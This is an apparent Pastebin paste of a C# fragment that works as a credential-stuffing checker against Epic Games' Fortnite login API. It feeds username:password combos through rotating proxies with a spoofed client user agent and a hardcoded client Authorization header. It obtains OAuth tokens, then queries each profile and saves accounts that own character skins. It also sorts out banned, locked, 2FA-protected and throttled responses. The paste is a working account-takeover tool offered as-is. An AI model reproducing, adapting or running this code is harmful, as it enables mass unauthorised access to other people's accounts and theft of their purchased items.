Advertisement
Guest User

Untitled

a guest
Oct 16th, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.80 KB | None | 0 0
  1. using (HttpRequest req = new HttpRequest())
  2. {
  3. try
  4. {
  5. req.UserAgent = "Fortnite/++Fortnite+Release-4.5-CL-4166199 Windows/6.2.9200.1.768.64bit";
  6. req.KeepAlive = true;
  7. req.Cookies = new CookieDictionary(false);
  8. req.IgnoreProtocolErrors = true;
  9. req.ConnectTimeout = 5000;
  10. req.AllowAutoRedirect = false;
  11. bool flag12 = Proxies.Count == 0;
  12. if (flag12)
  13. {
  14. req.Proxy = null;
  15. }
  16. else
  17. {
  18. req.Proxy = GetPClient(Proxies.ElementAt(rnd.Next(Proxies.Count)));
  19. req.Proxy.ConnectTimeout = 5000;
  20. }
  21. req.AddHeader("Authorization", "basic ZWM2ODRiOGM2ODdmNDc5ZmFkZWEzY2IyYWQ4M2Y1YzY6ZTFmMzFjMjExZjI4NDEzMTg2MjYyZDM3YTEzZmM4NGQ=");
  22. string pData = string.Format("grant_type=password&username={0}&password={1}&includePerms=true&token_type=eg1", WebUtility.UrlEncode(combo[0]), combo[1]);
  23. HttpResponse res = req.Post("https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token", pData, "application/x-www-form-urlencoded");
  24. string text = res.ToString();
  25. bool flag13 = text.Contains("access_token");
  26. if (flag13)
  27. {
  28. string bearer = Regex.Match(text, "\"access_token\" : \"(.*?)\",").Groups[1].Value;
  29. string accountID = Regex.Match(text, "\"account_id\" : \"(.*?)\"").Groups[1].Value;
  30. req.AddHeader("Authorization", string.Format("bearer {0}", bearer));
  31. HttpResponse res2 = req.Post(string.Format("https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/{0}/client/QueryProfile?profileId=athena&rvn=-1", accountID), "{}", "application/json");
  32. string text2 = res2.ToString();
  33. consoleWrite(text2);
  34. bool flag14 = text2.Contains("AthenaCharacter");
  35. if (flag14)
  36. {
  37. Interlocked.Increment(ref validcnt);
  38.  
  39. SaveData(account, text2);
  40. break;
  41. }
  42. bool flag15 = !text2.Contains("AthenaCharacter") && text2.Contains("AthenaPickaxe:defaultpickaxe");
  43. if (flag15)
  44. {
  45. Interlocked.Increment(ref invalidcnt);
  46.  
  47. break;
  48. }
  49. bool flag16 = text2.Contains("Login is banned or does not posses the action");
  50. if (flag16)
  51. {
  52. Interlocked.Increment(ref invalidcnt);
  53.  
  54. break;
  55. }
  56. bool flag17 = text2.Contains("Process exited before completing");
  57. if (flag17)
  58. {
  59. Interlocked.Increment(ref invalidcnt);
  60.  
  61. break;
  62. }
  63. }
  64. else
  65. {
  66. bool flag18 = text.Contains("Sorry the account credentials you are using are invalid");
  67. if (flag18)
  68. {
  69. Interlocked.Increment(ref invalidcnt);
  70.  
  71. break;
  72. }
  73. bool flag19 = text.Contains("Two-Factor authentication required to process");
  74. if (flag19)
  75. {
  76. Interlocked.Increment(ref invalidcnt);
  77.  
  78. break;
  79. }
  80. bool flag20 = text.Contains("Operation access is limited by throttling policy");
  81. if (flag20)
  82. {
  83. Interlocked.Increment(ref errorcnt);
  84. consoleWrite("Operation access is limited by throttling policy");
  85. }
  86. else
  87. {
  88. bool flag21 = text.Contains("Real ID association is required");
  89. if (flag21)
  90. {
  91. Interlocked.Increment(ref invalidcnt);
  92.  
  93. break;
  94. }
  95. bool flag22 = text.Contains("Please reset your password to proceed with login");
  96. if (flag22)
  97. {
  98. Interlocked.Increment(ref invalidcnt);
  99.  
  100. break;
  101. }
  102. bool flag23 = text.Contains("Process exited before completing");
  103. if (flag23)
  104. {
  105. Interlocked.Increment(ref invalidcnt);
  106.  
  107. break;
  108. }
  109. bool flag24 = text.Contains("account has been locked because of too many invalid login attempts");
  110. if (flag24)
  111. {
  112. Interlocked.Increment(ref invalidcnt);
  113.  
  114. break;
  115. }
  116. Interlocked.Increment(ref errorcnt);
  117. consoleWrite("Error 1");
  118. }
  119. }
  120. }
  121. catch (Exception ex)
  122. {
  123. consoleWrite("Exception Message: " + ex.Message);
  124. }
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement